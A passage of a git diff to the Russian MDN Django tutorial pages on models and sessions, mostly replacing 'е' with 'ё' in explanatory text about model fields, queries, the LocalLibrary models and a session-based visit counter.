жанр связаны между собой. Цифры, близкие к модели жанра, показывают, что у книги может быть один или несколько жанров (сколько угодно), а числа на другом конце строки рядом с моделью книги показывают, что у жанра может быть ноль или более связанных книг.</p> <p><img alt="LocalLibrary Model UML - v3" src="https://mdn.mozillademos.org/files/15646/local_library_model_uml.png" style="height: 660px; width: 977px;"></p> <div class="note"> -<p>Примечание. В следующем разделе приведен базовый пример, поясняющий, как модели определяются и используются. Когда вы его прочитаете, подумайте, как мы построим каждую из моделей на диаграмме выше.</p> +<p>Примечание. В следующем разделе приведён базовый пример, поясняющий, как модели определяются и используются. Когда вы его прочитаете, подумайте, как мы построим каждую из моделей на диаграмме выше.</p> </div> <h2 id="Модель_для_начинающих">Модель для начинающих</h2> @@ -61,7 +61,7 @@ translation_of: Learn/Server-side/Django/Models <h3 id="Определение_модели">Определение модели</h3> -<p>Модели обычно определяются в приложении <strong>models.py</strong>. Они реализуются как подклассы <code>django.db.models.Model</code>, и могут включать поля, методы и метаданные. В приведенном ниже фрагменте кода показана «типичная» модель, названная <code>MyModelName</code>:</p> +<p>Модели обычно определяются в приложении <strong>models.py</strong>. Они реализуются как подклассы <code>django.db.models.Model</code>, и могут включать поля, методы и метаданные. В приведённом ниже фрагменте кода показана «типичная» модель, названная <code>MyModelName</code>:</p> <pre class="notranslate">from django.db import models @@ -95,18 +95,18 @@ class MyModelName(models.Model): <h4 id="Поля">Поля</h4> -<p>Модель может иметь произвольное количество полей любого типа - каждый представляет столбец данных, который мы хотим сохранить в одной из наших таблиц базы данных. Каждая запись (строка) базы данных будет состоять из одного значения каждого поля. Давайте рассмотрим приведенный выше пример:</p> +<p>Модель может иметь произвольное количество полей любого типа - каждый представляет столбец данных, который мы хотим сохранить в одной из наших таблиц базы данных. Каждая запись (строка) базы данных будет состоять из одного значения каждого поля. Давайте рассмотрим приведённый выше пример:</p> <pre class="brush: js notranslate">my_field_name = models.CharField(max_length=20, help_text="Enter field documentation")</pre> -<p>Наш вышеприведенный пример имеет одно поле, называемое my_<code>field_name</code>, типа <code>models.CharField</code> — что означает, что это поле будет содержать строки буквенно-цифровых символов. Типы полей назначаются с использованием определенных классов, которые определяют тип записи, которая используется для хранения данных в базе данных, а также критерии проверки, которые должны использоваться, когда значения получены из формы HTML (то есть, что составляет действительное значение). Типы полей также могут принимать аргументы, которые дополнительно определяют, как поле хранится или может использоваться. В этом случае мы даем нашему полю два аргумента:</p> +<p>Наш вышеприведённый пример имеет одно поле, называемое my_<code>field_name</code>, типа <code>models.CharField</code> — что означает, что это поле будет содержать строки буквенно-цифровых символов. Типы полей назначаются с использованием определённых классов, которые определяют тип записи, которая используется для хранения данных в базе данных, а также критерии проверки, которые должны использоваться, когда значения получены из формы HTML (то есть, что составляет действительное значение). Типы полей также могут принимать аргументы, которые дополнительно определяют, как поле хранится или может использоваться. В этом случае мы даём нашему полю два аргумента:</p> <ul> <li><code>max_length=20</code> — Указывает, что максимальная длина значения в этом поле составляет 20 символов.</li> <li><code>help_text="Enter field documentation"</code> — предоставляет текстовую метку для отображения, чтобы помочь пользователям узнать, какое значение необходимо предоставить, когда это значение должно быть введено пользователем через HTML-форму.</li> </ul> -<p>Имя поля используется для обращения к нему в запросах и шаблонах. В полях также есть метка, которая задается как аргумент (verbose_name), либо выводится путем заглавной буквы первой буквы имени переменной поля и замены любых символов подчеркивания пробелом (например, my_field_name будет иметь метку по умолчанию <em>My field name</em>).</p> +<p>Имя поля используется для обращения к нему в запросах и шаблонах. В полях также есть метка, которая задаётся как аргумент (verbose_name), либо выводится путём заглавной буквы первой буквы имени переменной поля и замены любых символов подчёркивания пробелом (например, my_field_name будет иметь метку по умолчанию <em>My field name</em>).</p> <p>Порядок, в котором объявляются поля, будет влиять на их порядок по умолчанию, если модель отображается в форме (например, на сайте администратора), хотя это может быть переопределено.</p> @@ -117,11 +117,11 @@ class MyModelName(models.Model): <ul> <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#help-text">help_text</a>: Предоставляет текстовую метку для HTML-форм (например, на сайте администратора), как описано выше.</li> <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#verbose-name">verbose_name</a>: Удобочитаемое имя для поля, используемого в поле метки. Если не указано, Django выведет по умолчанию подробное название от имени поля.</li> - <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#default">default</a>: Значение по умолчанию для поля. Это может быть значение или вызываемый объект, и в этом случае объект будет вызываться каждый раз, когда создается новая запись.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#default">default</a>: Значение по умолчанию для поля. Это может быть значение или вызываемый объект, и в этом случае объект будет вызываться каждый раз, когда создаётся новая запись.</li> <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#null">null</a>: Если True, Django будет хранить пустые значения как NULL в базе данных для полей, где это уместно (CharField вместо этого сохранит пустую строку). По умолчанию используется значение False.</li> <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#blank">blank</a>: Если True, поле может быть пустым в ваших формах. По умолчанию используется значение False, что означает, что проверка формы Django заставит вас ввести значение. Это часто используется с null = True, потому что если вы хотите разрешить пустые значения, вы также хотите, чтобы база данных могла представлять их соответствующим образом.</li> <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#choices">choices</a>: Группа вариантов для этого поля. Если это предусмотрено, по умолчанию соответствующий виджет формы будет полем выбора с этими вариантами вместо стандартного текстового поля.</li> - <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#primary-key">primary_key</a>: Если True, задает текущее поле в качестве первичного ключа для модели (первичный ключ - это специальный столбец базы данных, предназначенный для однозначной идентификации всех разных записей таблицы). Если в качестве первичного ключа не указано поле, Django автоматически добавит для этой цели поле.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#primary-key">primary_key</a>: Если True, задаёт текущее поле в качестве первичного ключа для модели (первичный ключ - это специальный столбец базы данных, предназначенный для однозначной идентификации всех разных записей таблицы). Если в качестве первичного ключа не указано поле, Django автоматически добавит для этой цели поле.</li> </ul> <p>Есть много других вариантов - вы можете просмотреть <a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/">full list of field options here</a>.</p> @@ -133,7 +133,7 @@ class MyModelName(models.Model): <ul> <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.CharField">CharField</a> Используется для определения строк фиксированной длины от короткой до средней. Вы должны указать max_length для хранения данных.</li> <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.TextField">TextField</a> используется для больших строк произвольной длины. Вы можете указать <code>max_length</code> для поля, но это используется только тогда, когда поле отображается в формах (оно не применяется на уровне базы данных).</li> - <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.IntegerField" title="django.db.models.IntegerField">IntegerField</a> это поле для хранения значений (целого числа) и для проверки введенных значений в виде целых чисел в формах.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.IntegerField" title="django.db.models.IntegerField">IntegerField</a> это поле для хранения значений (целого числа) и для проверки введённых значений в виде целых чисел в формах.</li> <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.DateField">DateField</a> и <a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.DateTimeField">DateTimeField</a> используются для хранения / представления дат и информации о дате / времени (как Python datetime.date и datetime.datetime, соответственно). Эти поля могут дополнительно объявлять (взаимоисключающие) параметры <code>auto_now=True</code> (для установки поля на текущую дату каждый раз, когда модель сохраняется), auto_now_add (только для установки даты, когда модель была впервые создана) и по умолчанию (чтобы установить дату по умолчанию, которую пользователь может переустановить).</li> <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.EmailField">EmailField</a> используется для хранения и проверки адресов электронной почты.</li> <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.FileField">FileField</a> и <a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.ImageField">ImageField</a> используются для загрузки файлов и изображений соответственно ( <code>ImageField</code> просто добавляет дополнительную проверку, что загруженный файл является изображением). Они имеют параметры для определения того, как и где хранятся загруженные файлы.</li> @@ -160,7 +160,7 @@ class MyModelName(models.Model): <p>Книги будут отсортированы по алфавиту по названию, от A-Z, а затем по дате публикации внутри каждого названия, от самого нового до самого старого.</p> -<p>Другим распространенным атрибутом является verbose_name, подробное имя для класса в единственной и множественной форме:</p> +<p>Другим распространённым атрибутом является verbose_name, подробное имя для класса в единственной и множественной форме:</p> <pre class="brush: python notranslate">verbose_name = "BetterName"</pre> @@ -173,7 +173,7 @@ class MyModelName(models.Model): <pre class="brush: python notranslate">def __str__(self): return self.field_name</pre> -<p>Другим распространенным методом включения в модели Django является get_absolute_url (), который возвращает URL-адрес для отображения отдельных записей модели на веб-сайте (если вы определяете этот метод, тогда Django автоматически добавит кнопку «Просмотр на сайте» на экранах редактирования записей модели на сайте администратора). Типичный шаблон для get_absolute_url () показан ниже.</p> +<p>Другим распространённым методом включения в модели Django является get_absolute_url (), который возвращает URL-адрес для отображения отдельных записей модели на веб-сайте (если вы определяете этот метод, тогда Django автоматически добавит кнопку «Просмотр на сайте» на экранах редактирования записей модели на сайте администратора). Типичный шаблон для get_absolute_url () показан ниже.</p> <pre class="brush: python notranslate">def get_absolute_url(self): """ @@ -183,9 +183,9 @@ class MyModelName(models.Model): </pre> <div class="note"> -<p>Примечание. Предполагается, что вы будете использовать URL-адреса, например / myapplication / mymodelname / 2, для отображения отдельных записей для вашей модели (где «2» - это идентификатор для определенной записи), вам нужно будет создать URL-карту, чтобы передать ответ и идентификатор «Образцовое представление модели» (которое будет выполнять работу, необходимую для отображения записи). Вышеуказанная функция reverse () может «перевернуть» ваш URL-адрес (в приведенном выше примере с именем «model-detail-view»), чтобы создать URL-адрес правильного формата.</p> +<p>Примечание. Предполагается, что вы будете использовать URL-адреса, например / myapplication / mymodelname / 2, для отображения отдельных записей для вашей модели (где «2» - это идентификатор для определённой записи), вам нужно будет создать URL-карту, чтобы передать ответ и идентификатор «Образцовое представление модели» (которое будет выполнять работу, необходимую для отображения записи). Вышеуказанная функция reverse () может «перевернуть» ваш URL-адрес (в приведённом выше примере с именем «model-detail-view»), чтобы создать URL-адрес правильного формата.</p> -<p>Конечно, для выполнения этой работы вам все равно придется писать сопоставление URL-адрес, просмотр и шаблон!</p> +<p>Конечно, для выполнения этой работы вам все равно придётся писать сопоставление URL-адрес, просмотр и шаблон!</p> </div> <p>Вы также можете определить любые другие методы, которые вам нравятся, и вызывать их из вашего кода или шаблонов (при условии, что они не принимают никаких параметров).</p> @@ -209,7 +209,7 @@ a_record.save() <p>Примечание. Если вы не указали какое-либо поле в качестве primary_key, новая запись будет выдаваться автоматически, с идентификатором имени поля. Вы можете запросить это поле после сохранения указанной выше записи, и оно будет иметь значение 1.</p> </div> -<p>Вы можете получить доступ к полям в этой новой записи с использованием синтаксиса точек и изменить значения. Вы должны вызвать save (), чтобы сохранить измененные значения в базе данных.</p> +<p>Вы можете получить доступ к полям в этой новой записи с использованием синтаксиса точек и изменить значения. Вы должны вызвать save (), чтобы сохранить изменённые значения в базе данных.</p> <pre class="brush: python notranslate"># Access model field values using Python attributes. print(a_record.id) #should return 1 for the first record. @@ -221,10 +221,10 @@ a_record.save()</pre> <h4 id="Поиск_записей">Поиск записей</h4> -<p>Вы можете искать записи, соответствующие определенным критериям, используя атрибут объектов модели (предоставляемый базовым классом).</p> +<p>Вы можете искать записи, соответствующие определённым критериям, используя атрибут объектов модели (предоставляемый базовым классом).</p> <div class="note"> -<p>Примечание. Объяснение того, как искать записи, используя «абстрактную» модель и имена полей, может быть немного запутанным. В приведенном ниже обсуждении мы будем ссылаться на модель книги с полями названия и жанра, где жанр также является моделью с единственным именем в поле.</p> +<p>Примечание. Объяснение того, как искать записи, используя «абстрактную» модель и имена полей, может быть немного запутанным. В приведённом ниже обсуждении мы будем ссылаться на модель книги с полями названия и жанра, где жанр также является моделью с единственным именем в поле.</p> </div> <p>Мы можем получить все записи для модели как объект QuerySet, используя <code>objects.all()</code>. QuerySet - это итерируемый объект, означающий, что он содержит несколько объектов, которые мы можем перебирать / прокручивать.</p> @@ -238,22 +238,22 @@ a_record.save()</pre> number_wild_books = Book.objects.filter(title__contains='wild').count() </pre> -<p>Соответствующие поля и тип соответствия определяются в имени параметра фильтра, используя формат: <code>field_name__match_type </code>(обратите внимание на двойное подчеркивание между заголовком выше). Выше мы фильтруем заголовок с учетом регистра. Есть много других типов совпадений, которые вы можете сделать: <code>icontains</code> (без учета регистра), <code>iexact </code>(точное совпадение без учета регистра), <code>exact </code>(точное совпадение с учетом регистра ) и <code>in</code>, <code>gt </code>(больше), <code>startswith</code> и т. д <a href="https://docs.djangoproject.com/en/2.2/ref/models/querysets/#field-lookups">смотреть полный список </a>(Django Docs, [EN]).</p> +<p>Соответствующие поля и тип соответствия определяются в имени параметра фильтра, используя формат: <code>field_name__match_type </code>(обратите внимание на двойное подчёркивание между заголовком выше). Выше мы фильтруем заголовок с учётом регистра. Есть много других типов совпадений, которые вы можете сделать: <code>icontains</code> (без учёта регистра), <code>iexact </code>(точное совпадение без учёта регистра), <code>exact </code>(точное совпадение с учётом регистра ) и <code>in</code>, <code>gt </code>(больше), <code>startswith</code> и т. д <a href="https://docs.djangoproject.com/en/2.2/ref/models/querysets/#field-lookups">смотреть полный список </a>(Django Docs, [EN]).</p> -<p>В некоторых случаях вам нужно будет фильтровать поле, которое определяет отношение «один ко многим» к другой модели (например, <code>ForeignKey</code>). В этом случае вы можете «индексировать» поля в связанной модели с дополнительными двойными подчеркиваниями. Так, например, чтобы фильтровать книги с определенным жанровым рисунком, вам нужно будет указывать имя в поле жанра, как показано ниже:</p> +<p>В некоторых случаях вам нужно будет фильтровать поле, которое определяет отношение «один ко многим» к другой модели (например, <code>ForeignKey</code>). В этом случае вы можете «индексировать» поля в связанной модели с дополнительными двойными подчёркиваниями. Так, например, чтобы фильтровать книги с определённым жанровым рисунком, вам нужно будет указывать имя в поле жанра, как показано ниже:</p> <pre class="brush: python notranslate">books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction') # Will match on: Fiction, Science fiction, non-fiction etc. </pre> <div class="note"> -<p><strong>Примечание:</strong> Вы можете использовать символы подчеркивания (__) для навигации по многим уровням отношений (ForeignKey / ManyToManyField) по своему усмотрению. Например, книга, имеющая разные типы, определяемая с использованием дополнительной связи «обложка», может иметь имя параметра: type__cover__name__exact = 'hard'.</p> +<p><strong>Примечание:</strong> Вы можете использовать символы подчёркивания (__) для навигации по многим уровням отношений (ForeignKey / ManyToManyField) по своему усмотрению. Например, книга, имеющая разные типы, определяемая с использованием дополнительной связи «обложка», может иметь имя параметра: type__cover__name__exact = 'hard'.</p> </div> <p>Существует гораздо больше возможностей для запросов, включая обратные поиски от связанных моделей, цепочки фильтров, возврат меньшего набора значений и т. д. Для получения дополнительной информации см. <a href="https://docs.djangoproject.com/en/2.2/topics/db/queries/">Making queries</a> (Django Docs, [EN]).</p> <h2 id="Определение_моделей_LocalLibrary">Определение моделей LocalLibrary</h2> -<p>В этом разделе мы начнем определять модели для библиотеки. Откройте <em>models.py (в / locallibrary / catalog /)</em>. Шаблон в верхней части страницы импортирует модуль моделей, который содержит базовый класс модели <code>models.Model</code>, от которого наследуются наши модели.</p> +<p>В этом разделе мы начнём определять модели для библиотеки. Откройте <em>models.py (в / locallibrary / catalog /)</em>. Шаблон в верхней части страницы импортирует модуль моделей, который содержит базовый класс модели <code>models.Model</code>, от которого наследуются наши модели.</p> <pre class="brush: python notranslate">from django.db import models @@ -261,7 +261,7 @@ number_wild_books = Book.objects.filter(title__contains='wild').count() <h3 id="Модель_жанра">Модель жанра</h3> -<p>Скопируйте приведенный ниже код модели <code>Genre </code>и вставьте его в нижнюю часть вашего файла <code>models.py</code>. Эта модель используется для хранения информации о категории книг - например, будь то художественная или документальная, роман или военно-историческая и т. д. Как уже упоминалось выше, мы создали жанр как модель, а не как свободный текст или список выбора, чтобы возможные значения могли управляться через базу данных, а не были закодированными.</p> +<p>Скопируйте приведённый ниже код модели <code>Genre </code>и вставьте его в нижнюю часть вашего файла <code>models.py</code>. Эта модель используется для хранения информации о категории книг - например, будь то художественная или документальная, роман или военно-историческая и т. д. Как уже упоминалось выше, мы создали жанр как модель, а не как свободный текст или список выбора, чтобы возможные значения могли управляться через базу данных, а не были закодированными.</p> <pre class="brush: python notranslate">class Genre(models.Model): """ @@ -275,11 +275,11 @@ number_wild_books = Book.objects.filter(title__contains='wild').count() """ return self.name</pre> -<p>Модель имеет один <code>CharField</code> field (имя), которое используется для описания жанра (оно ограничено 200 символами и имеет некоторый <code>help_text</code>. В конце модели мы объявляем метод <code>__str__()</code>, который просто возвращает имя жанра, определенного конкретной записью. Verbose name не был определен, поэтому поле будет называться <code>Name</code> в формах.</p> +<p>Модель имеет один <code>CharField</code> field (имя), которое используется для описания жанра (оно ограничено 200 символами и имеет некоторый <code>help_text</code>. В конце модели мы объявляем метод <code>__str__()</code>, который просто возвращает имя жанра, определённого конкретной записью. Verbose name не был определён, поэтому поле будет называться <code>Name</code> в формах.</p> <h3 id="Модель_книги">Модель книги</h3> -<p>Скопируйте модель книги ниже и снова вставьте ее в нижнюю часть файла. Модель книги представляет всю информацию о доступной книге в общем смысле, но не конкретный физический «экземпляр» или «копию» для временного использования. Модель использует CharField для представления названия книги и isbn (обратите внимание, как isbn указывает свой ярлык как «ISBN», используя первый неименованный параметр, поскольку в противном случае ярлык по умолчанию был бы «Isbn»). Модель использует TextField для summary, потому что этот текст, возможно, должен быть очень длинным.</p> +<p>Скопируйте модель книги ниже и снова вставьте её в нижнюю часть файла. Модель книги представляет всю информацию о доступной книге в общем смысле, но не конкретный физический «экземпляр» или «копию» для временного использования. Модель использует CharField для представления названия книги и isbn (обратите внимание, как isbn указывает свой ярлык как «ISBN», используя первый неименованный параметр, поскольку в противном случае ярлык по умолчанию был бы «Isbn»). Модель использует TextField для summary, потому что этот текст, возможно, должен быть очень длинным.</p> <pre class="brush: python notranslate">from django.urls import reverse #Used to generate URLs by reversing the URL patterns @@ -313,13 +313,13 @@ class Book(models.Model): <p>Жанр представляет из себя ManyToManyField, так что книга может иметь несколько жанров, а жанр может иметь много книг. Автор объявляется через ForeignKey, поэтому в каждой книге будет только один автор, но у автора может быть много книг (на практике книга может иметь несколько авторов, но не в такой реализации!)</p> -<p>В обоих типах полей соответствующий класс модели объявляется как первый неименованный параметр, используя либо класс модели, либо строку, содержащую имя соответствующей модели. Вы должны использовать имя модели как строку, если связанный класс еще не был определен в этом файле до того, как он будет указан! Другими параметрами, представляющими интерес для поля автора, являются <code>null=True</code>, которое позволяет базе данных хранить значение <code>Null</code> , если автор не выбран, и on_delete = models. <code>SET_NULL </code>установит значение автора в Null, если связанная с автором запись будет удалена.</p> +<p>В обоих типах полей соответствующий класс модели объявляется как первый неименованный параметр, используя либо класс модели, либо строку, содержащую имя соответствующей модели. Вы должны использовать имя модели как строку, если связанный класс ещё не был определён в этом файле до того, как он будет указан! Другими параметрами, представляющими интерес для поля автора, являются <code>null=True</code>, которое позволяет базе данных хранить значение <code>Null</code> , если автор не выбран, и on_delete = models. <code>SET_NULL </code>установит значение автора в Null, если связанная с автором запись будет удалена.</p> <p>Модель также определяет __str __ (), используя поле заголовка книги для представления книги. Окончательный метод get_absolute_url () возвращает URL-адрес, который можно использовать для доступа к подробной записи для этой модели (для этого нам нужно будет определить сопоставление URL-адресов, в котором содержится подробная информация о книге, и определить связанное представление и шаблон ).</p> <h3 id="Модель_BookInstance">Модель BookInstance</h3> -<p>Затем скопируйте модель BookInstance (показано ниже) под другие модели. BookInstance представляет собой определенную копию книги, которую кто-то может брать взаймы, и включает информацию о том, доступна ли копия или в какой день она ожидается, «отпечаток» или сведения о версии, а также уникальный идентификатор книги в библиотеке. Теперь некоторые из полей и методов будут знакомы. Модель использует</p> +<p>Затем скопируйте модель BookInstance (показано ниже) под другие модели. BookInstance представляет собой определённую копию книги, которую кто-то может брать взаймы, и включает информацию о том, доступна ли копия или в какой день она ожидается, «отпечаток» или сведения о версии, а также уникальный идентификатор книги в библиотеке. Теперь некоторые из полей и методов будут знакомы. Модель использует</p> <ul> <li>ForeignKey для идентификации связанной книги (в каждой книге может быть много копий, но в копии может быть только одна книга).</li> @@ -361,7 +361,7 @@ class BookInstance(models.Model): <ul> <li><code>UUIDField</code> используется для поля id, чтобы установить его как primary_key для этой модели. Этот тип поля выделяет глобальное уникальное значение для каждого экземпляра (по одному для каждой книги, которую вы можете найти в библиотеке).</li> <li><code>DateField</code> используется для данных due_back (при которых ожидается, что книга появится после заимствования или обслуживания). Это значение может быть blank или null (необходимо, когда книга доступна). Метаданные модели (Class Meta) используют это поле для упорядочивания записей, когда они возвращаются в запросе.</li> - <li>status - это CharField, который определяет список choice/selection. Как вы можете видеть, мы определяем кортеж, содержащий кортежи пар ключ-значение и передаем его аргументу выбора. Значение в key/value паре - это отображаемое значение, которое пользователь может выбрать, а ключи - это значения, которые фактически сохраняются, если выбрана опция. Мы также установили значение по умолчанию «m» (техническое обслуживание), поскольку книги изначально будут созданы недоступными до того, как они будут храниться на полках.</li> + <li>status - это CharField, который определяет список choice/selection. Как вы можете видеть, мы определяем кортеж, содержащий кортежи пар ключ-значение и передаём его аргументу выбора. Значение в key/value паре - это отображаемое значение, которое пользователь может выбрать, а ключи - это значения, которые фактически сохраняются, если выбрана опция. Мы также установили значение по умолчанию «m» (техническое обслуживание), поскольку книги изначально будут созданы недоступными до того, как они будут храниться на полках.</li> </ul> <p>Модель __str __ () представляет объект BookInstance, используя комбинацию его уникального идентификатора и связанного с ним заголовка книги.</p> @@ -370,7 +370,7 @@ class BookInstance(models.Model): <p>Примечание. Немного Python:</p> <ul> - <li>Значение, возвращаемое __str __ (), является форматированной строкой. В строке мы используем % S для объявления 'placeholders'. После строки укажем %, а затем кортеж, содержащий значения, которые будут вставлены в заполнители. Если у вас просто один заполнитель, вы можете опустить кортеж - например, 'Мое значение:% S' % переменная.<br> + <li>Значение, возвращаемое __str __ (), является форматированной строкой. В строке мы используем % S для объявления 'placeholders'. После строки укажем %, а затем кортеж, содержащий значения, которые будут вставлены в заполнители. Если у вас просто один заполнитель, вы можете опустить кортеж - например, 'Моё значение:% S' % переменная.<br> <br> Обратите также внимание на то, что, хотя этот подход совершенно применим, но он более не является предпочтительным. Начиная с Python 3, вы должны использовать метод format, например. '{0} ({1})'.format (self.id, self.book.title). Вы можете узнать больше об этом <a href="https://www.python.org/dev/peps/pep-3101/">здесь</a>.</li> </ul> @@ -420,7 +420,7 @@ python3 manage.py migrate</code></pre> <ul> <li>Должен ли «язык» ассоциироваться с Book, BookInstance или каким-либо другим объектом?</li> - <li>Должны ли быть представлены разные языки с использованием модели, свободного текстового поля или жестко запрограммированного списка выбора?</li> + <li>Должны ли быть представлены разные языки с использованием модели, свободного текстового поля или жёстко запрограммированного списка выбора?</li> </ul> <p>После того, как вы решили, добавьте поле. Вы можете увидеть наше решение на Github <a href="https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/models.py">here</a>.</p> @@ -435,7 +435,7 @@ python3 manage.py migrate</code></pre> <p>В этой статье мы узнали, как определять модели, а затем использовать эту информацию в разработке и внедрении соответствующих моделей для сайта LocalLibrary.</p> -<p>На этом этапе мы отвлечемся от создания сайта и проверим <em>Django Administration site</em>. Этот сайт позволит нам добавить некоторые данные в библиотеку, которые мы можем отобразить с помощью наших (еще не созданных) представлений и шаблонов.</p> +<p>На этом этапе мы отвлечёмся от создания сайта и проверим <em>Django Administration site</em>. Этот сайт позволит нам добавить некоторые данные в библиотеку, которые мы можем отобразить с помощью наших (ещё не созданных) представлений и шаблонов.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/learn/server-side/django/sessions/index.html b/files/ru/learn/server-side/django/sessions/index.html index cccdb20266..22b6248b35 100644 --- a/files/ru/learn/server-side/django/sessions/index.html +++ b/files/ru/learn/server-side/django/sessions/index.html @@ -19,13 +19,13 @@ original_slug: Learn/Server-side/Django/Сессии <div>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django")}}</div> -<p class="summary">Эта часть расширяет наш сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, добавляя счетчик посещений домашней страницы, реализованного при помощи сессий. Это относительно простой пример, но он демонстрирует то, как при помощи сессий реализовать анализ поведения анонимных пользователей на сайте.</p> +<p class="summary">Эта часть расширяет наш сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, добавляя счётчик посещений домашней страницы, реализованного при помощи сессий. Это относительно простой пример, но он демонстрирует то, как при помощи сессий реализовать анализ поведения анонимных пользователей на сайте.</p> <table class="learn-box standard-table"> <tbody> <tr> <th scope="row">Требования:</th> - <td>Завершить изучение всех предыдущих разделов, включая <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Руководство Часть 6: Обобщенные отображения списков и детальной информации</a></td> + <td>Завершить изучение всех предыдущих разделов, включая <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Руководство Часть 6: Обобщённые отображения списков и детальной информации</a></td> </tr> <tr> <th scope="row">Цель:</th> @@ -44,7 +44,7 @@ original_slug: Learn/Server-side/Django/Сессии <h2 id="Что_такое_сессии">Что такое сессии?</h2> -<p>Все взаимодействия между браузерами и серверами осуществляются при помощи протокола HTTP, который не сохраняет свое состояние (<em>stateless)</em>. Данный факт означает, что сообщения между клиентом и сервером являются полностью независимыми один от другого — то есть не существует какого-либо представления "последовательности", или поведения в зависимости от предыдущих сообщений. В результате, если вы хотите создать сайт который будет отслеживать взаимодействие с клиентом (браузером), вам нужно реализовать это самостоятельно.</p> +<p>Все взаимодействия между браузерами и серверами осуществляются при помощи протокола HTTP, который не сохраняет своё состояние (<em>stateless)</em>. Данный факт означает, что сообщения между клиентом и сервером являются полностью независимыми один от другого — то есть не существует какого-либо представления "последовательности", или поведения в зависимости от предыдущих сообщений. В результате, если вы хотите создать сайт который будет отслеживать взаимодействие с клиентом (браузером), вам нужно реализовать это самостоятельно.</p> <p>Сессии являются механизмом, который использует Django (да и весь остальной "Интернет") для отслеживания "состояния" между сайтом и каким-либо браузером. Сессии позволяют вам хранить произвольные данные браузера и получать их в тот момент, когда между данным браузером и сайтом устанавливается соединение. Данные получаются и сохраняются в сессии при помощи соответствующего "ключа".</p> @@ -68,9 +68,9 @@ MIDDLEWARE = [ <h2 id="Применение_сессий">Применение сессий</h2> -<p>Вы можете получить доступ к переменной <code>session</code>, в соответствующем отображении, через параметр <code>request</code> (<code>HttpRequest</code> передается как первый аргумент в каждое отображение). Переменная сессии является связью с определенным пользователем (или, если быть более точным, связью с определенным <em>браузером</em>, который определяется при помощи идентификатора (id) сессии, получаемого из куки браузера).</p> +<p>Вы можете получить доступ к переменной <code>session</code>, в соответствующем отображении, через параметр <code>request</code> (<code>HttpRequest</code> передаётся как первый аргумент в каждое отображение). Переменная сессии является связью с определённым пользователем (или, если быть более точным, связью с определённым <em>браузером</em>, который определяется при помощи идентификатора (id) сессии, получаемого из куки браузера).</p> -<p>Переменная (или поле) <code>session</code> является объектом-словарем, который служит для чтения и записи неограниченное число раз. С ним вы можете выполнять любые стандартные операции, включая очистку всех данных, проверку наличия ключа, циклы по данным и так далее. Большую часть времени вы будете тратить на обычные "словарные" операции - получения и установки значений.</p> +<p>Переменная (или поле) <code>session</code> является объектом-словарём, который служит для чтения и записи неограниченное число раз. С ним вы можете выполнять любые стандартные операции, включая очистку всех данных, проверку наличия ключа, циклы по данным и так далее. Большую часть времени вы будете тратить на обычные "словарные" операции - получения и установки значений.</p> <p>Ниже представлены фрагменты кода, которые показывают вам как получать, задавать и удалять некоторые данные при помощи ключа "<code>my_car</code>", связанного с текущей сессией (браузером). </p> @@ -83,7 +83,7 @@ MIDDLEWARE = [ my_car = request.session['my_car'] # Получение значения сессии. Если значения не существует, -# то вернется значение по умолчанию ('mini') +# то вернётся значение по умолчанию ('mini') my_car = request.session.get('my_car', 'mini') # Передача значения в сессию @@ -115,7 +115,7 @@ request.session['my_car']['wheels'] = 'alloy' </pre> <div class="note"> -<p><strong>Примечание</strong>: Вы можете изменить поведение сессий таким образом, чтобы они записывали любое свое изменение в базу данных и отправляли куки, при каждом запросе, путем установки <code>SESSION_SAVE_EVERY_REQUEST = True</code>, в файле настроек проекта (<strong>locallibrary/locallibrary/settings.py</strong>).</p> +<p><strong>Примечание</strong>: Вы можете изменить поведение сессий таким образом, чтобы они записывали любое своё изменение в базу данных и отправляли куки, при каждом запросе, путём установки <code>SESSION_SAVE_EVERY_REQUEST = True</code>, в файле настроек проекта (<strong>locallibrary/locallibrary/settings.py</strong>).</p> </div> <h2 id="Простой_пример_—_получение_числа_визитов">Простой пример — получение числа визитов</h2> @@ -141,7 +141,7 @@ request.session['my_car']['wheels'] = 'alloy' 'num_visits':num_visits}, # num_visits appended</strong> )</pre> -<p>В первую очередь мы получаем значение <code>'num_visits'</code> из сессии, возвращая 0, если оно не было установлено ранее. Каждый раз при получении запроса, мы увеличиваем данное значение на единицу и сохраняем его обратно в сессии (до следующего посещения данной страницы пользователем). Затем переменная <code>num_visits</code> передается в шаблон через переменную контекста <code>context</code>. </p> +<p>В первую очередь мы получаем значение <code>'num_visits'</code> из сессии, возвращая 0, если оно не было установлено ранее. Каждый раз при получении запроса, мы увеличиваем данное значение на единицу и сохраняем его обратно в сессии (до следующего посещения данной страницы пользователем). Затем переменная <code>num_visits</code> 